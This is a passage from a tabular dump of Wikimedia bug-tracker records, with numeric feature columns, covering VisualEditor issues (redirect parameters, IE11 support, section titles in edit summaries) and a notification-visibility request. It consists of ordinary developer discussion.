**URL**: https://en.wikipedia.org/wiki/Special:MyPage?veaction=edit",Medium,50.0,1373160480,1400888355.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,9.0,4.0,0.0,7.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.185185185185185,0.5370370370370371,"If you click in the link
URL
you will be redirected to your user page in ""view"" mode instead of ""vedit"" mode

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
240339,VisualEditor: Editor not triggered on system redirects,"Change 134788 merged by jenkins-bot:
Preserve veaction, vesection on special redirects to wiki pages

https://gerrit.wikimedia.org/r/134788",,,1400888338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,1.0,"Change 134788 merged by jenkins-bot:
Preserve veaction, vesection on special redirects to wiki pages

GERRIT_URL"
240334,VisualEditor: Editor not triggered on system redirects,"Change 134788 had a related patch set uploaded by Mattflaschen:
Preserve veaction, vesection on special redirects to wiki pages

https://gerrit.wikimedia.org/r/134788",,,1400742360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,False,,,46,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.083333333333333,1.0,"Change 134788 had a related patch set uploaded by Mattflaschen:
Preserve veaction, vesection on special redirects to wiki pages

GERRIT_URL"
240327,VisualEditor: Editor not triggered on system redirects,"From bug 51178 comment 0:

| The veaction parameter is not passed by Special:MyPage, so links like this do
| not work: http://en.wikipedia.org/wiki/Special:MyPage/sandbox?veaction=edit
|
| See the patch for bug 45219 for the way a similar issue was solved for the
| Guided Tours extension.",,,1373566655,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.7321428571428571,"From bug 51178 comment 0:

| The veaction parameter is not passed by Special:MyPage, so links like this do
| not work: URL
|
| See the patch for bug 45219 for the way a similar issue was solved for the
| Guided Tours extension."
240323,VisualEditor: Editor not triggered on system redirects,*** Bug 51178 has been marked as a duplicate of this bug. ***,,,1373566618,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51178 has been marked as a duplicate of this bug. ***
52874,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","Lots of testing involved here; currently assigning to myself.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373152020,1434589709.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_description,declined,True,c1,3,True,True,False,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.310344827586207,0.6896551724137931,"Lots of testing involved here; currently assigning to myself.

--------------------------
**Version**: unspecified
**Severity**: normal"
476932,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","This is not the right task for ""add something to the whitelist"".",,,1434589709,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,True,,,102,,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.8666666666666667,"This is not the right task for ""add something to the whitelist""."
473383,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist",re-opening since I think it works pretty well.,,,1434060016,,PHID-USER-ogbcrxm45oo3n3xe5q25,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,False,,,101,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,re-opening since I think it works pretty well.
240226,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","INVALID-ing this given that the answer on testing is 'no'. Will need to take forward as real bugs, sadly.",,,1377033706,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,15.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3461538461538463,0.9230769230769231,"INVALID-ing this given that the answer on testing is 'no'. Will need to take forward as real bugs, sadly."
240221,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","(In reply to comment #1)
> Currently the answer appears to be ""no we don't work very well"". :) Selection
> is broken, and typing seems to eat the entire document.

Darn. :-(

> James, do you have a copy of Windows 8.1 Preview to test with? I can provide
> an installer ISO and a couple of product keys if you need them. Runs fine in
> Parallels.

Thanks for the offer, though Microsoft reached out to us and gave me the same; I've just not had a chance to do anything with it yet.",,,1373319033,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,True,,,1,,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,7.0,15.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,3.1481481481481484,0.7592592592592593,"(In reply to comment #1)
QUOTE
QUOTE

Darn. :-(

QUOTE
QUOTE
QUOTE

Thanks for the offer, though Microsoft reached out to us and gave me the same; I've just not had a chance to do anything with it yet."
240217,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","Currently the answer appears to be ""no we don't work very well"". :) Selection is broken, and typing seems to eat the entire document.

James, do you have a copy of Windows 8.1 Preview to test with? I can provide an installer ISO and a couple of product keys if you need them. Runs fine in Parallels.",,,1373308626,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,1.0,3.0,7.0,0.0,1.0,0.0,0.0,9.0,1.0,1.0,0.0,7.0,12.0,6.0,1.0,3.0,0.0,7.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8088235294117647,"Currently the answer appears to be ""no we don't work very well"". :) Selection is broken, and typing seems to eat the entire document.

James, do you have a copy of Windows 8.1 Preview to test with? I can provide an installer ISO and a couple of product keys if you need them. Runs fine in Parallels."
52872,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Even though section editing in VE is a long way off, it would be really helpful if the title of the section you click edit on was automatically included in the edit summary in the same way that the source editor does. For example, when making [https://en.wikipedia.org/w/index.php?title=Viareggio_train_derailment&diff=next&oldid=563164136 this edit] I launched the VE by clicking on the edit link for the ""See also"" section, so I was expecting the edit summary to begin with the usual ""-> See also"". This provides context for the edit summary and so helps give context at recent changes and on watchlists.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56891
https://bugzilla.wikimedia.org/show_bug.cgi?id=51903",Medium,50.0,1373150220,1374634478.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5kevizlj2r7opk2fmypx,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,10.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,2.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.0,15.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,6.5,2.0,10.0,2.0,1.5,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.5,1.5,0.0,2.5,0.0,2.0,0.0,1.0,0.5,0.0,1.5,0.0,0.0,1.0,3.685714285714286,0.6714285714285715,"Even though section editing in VE is a long way off, it would be really helpful if the title of the section you click edit on was automatically included in the edit summary in the same way that the source editor does. For example, when making [URL this edit] I launched the VE by clicking on the edit link for the ""See also"" section, so I was expecting the edit summary to begin with the usual ""-> See also"". This provides context for the edit summary and so helps give context at recent changes and on watchlists.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
240148,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,Done and will be deployed tomorrow.,,,1374634478,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
240140,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Change 74545 merged by jenkins-bot:
Prepend section title to edit summary

https://gerrit.wikimedia.org/r/74545",,,1374620537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,1.0,"Change 74545 merged by jenkins-bot:
Prepend section title to edit summary

GERRIT_URL"
240132,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"(In reply to comment #7)
> *** Bug 51903 has been marked as a duplicate of this bug. ***

not exactly: this bug is about ""when launched from section edit link"".

IMO, this will be wrong: VE does not support section edit, and a user can launch VE from a section edit link, and then do whatever anywhere on the page. 

bug 51903 asked VE to analyze the page when the user press ""save"", find out whether or not the changes are confined to a specific section, and if so (regardless of how VE was launched), add the section name to the summary.

so i do not think these two are truly ""duplicates"". 
if anything, this bug should be marked ""invalid"" and bug 51903 should be resurrected (51903 was opened as ""enhancement request"").

peace.",,,1374606424,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,3.0,2.0,2.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,8.5,0.5,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,3.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,12.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,5.0,5.0,3.5,3.5,3.0,8.0,0.0,0.0,0.0,0.5,6.0,0.0,3.0,0.0,0.5,8.5,2.0,0.0,6.0,0.0,0.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,3.4875,0.6499999999999999,"(In reply to comment #7)
QUOTE

not exactly: this bug is about ""when launched from section edit link"".

IMO, this will be wrong: VE does not support section edit, and a user can launch VE from a section edit link, and then do whatever anywhere on the page. 

bug 51903 asked VE to analyze the page when the user press ""save"", find out whether or not the changes are confined to a specific section, and if so (regardless of how VE was launched), add the section name to the summary.

so i do not think these two are truly ""duplicates"". 
if anything, this bug should be marked ""invalid"" and bug 51903 should be resurrected (51903 was opened as ""enhancement request"").

peace."
240128,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,*** Bug 51903 has been marked as a duplicate of this bug. ***,,,1374605494,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51903 has been marked as a duplicate of this bug. ***
240124,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Change 74545 had a related patch set uploaded by Esanders:
Prepend section title to edit summary

https://gerrit.wikimedia.org/r/74545",,,1374187124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7,1.0,"Change 74545 had a related patch set uploaded by Esanders:
Prepend section title to edit summary

GERRIT_URL"
240119,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,*** Bug 51343 has been marked as a duplicate of this bug. ***,,,1373932279,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51343 has been marked as a duplicate of this bug. ***
240113,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Well, having a misleading ""edit section"" link isn't considered a problem.",,,1373185656,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,3.9375,0.875,"Well, having a misleading ""edit section"" link isn't considered a problem."
240108,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Absolutely it can (and probably should) be removable.

As for editing other sections, hmm. My initial thought is to wonder whether it could be detectable from the diff generator which section(s) have been edited?",,,1373183092,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,2.0,2.0,0.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,7.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.285714285714286,0.9047619047619048,"Absolutely it can (and probably should) be removable.

As for editing other sections, hmm. My initial thought is to wonder whether it could be detectable from the diff generator which section(s) have been edited?"
240102,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,*** Bug 50535 has been marked as a duplicate of this bug. ***,,,1373155212,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50535 has been marked as a duplicate of this bug. ***
240096,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"(In reply to comment #0)
> Even though section editing in VE is a long way off, it would be really
> helpful if the title of the section you click edit on was automatically
> included in the edit summary in the same way that the source editor does.
> For example, when making https://en.wikipedia.org/w/?diff=next&oldid=563164136
> this edit I launched the VE by clicking on the edit link for the ""See also""
> section, so I was expecting the edit summary to begin with the usual ""-> See
> also"". This provides context for the edit summary and so helps give context
> at recent changes and on watchlists.

Won't this be rather mis-leading? Normally reviewers will expect the changes to be limited to that section, whereas editors are unlikely to keep their changes restricted in that way. Potentially we could add it into the edit summary box before the user adds anything, so they can remove it if they want?",,,1373155090,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,0,,0.0,1.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,14.0,4.0,0.0,7.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,7.0,13.0,8.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.788235294117647,0.6941176470588235,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Won't this be rather mis-leading? Normally reviewers will expect the changes to be limited to that section, whereas editors are unlikely to keep their changes restricted in that way. Potentially we could add it into the edit summary box before the user adds anything, so they can remove it if they want?"
52870,mediawiki.notification: Notification area should remain visible when scrolled down,"Original bug title:
mediawiki.notification should show the notification bubble relative to the screen, not to the document

Current behaviour:
Calling mw.notify(""abc"") in JavaScript creates a message-bubble somewhere below the first <h1> heading (the title) and the bubble disappears after about 5s.

Why this is an issue:
But if you have scrolled-down the page, the notification disappears without being read.

Where is this an issue:
For example, when marking large new pages as patrolled, the patrol link is at the bottom of the page and the message whether patrolling succeeded is not visible to the user. Or at custom gadgets/user scripts.

Expected behaviour:
Bubble shown, no matter of the current scroll position.

Possible implementation:
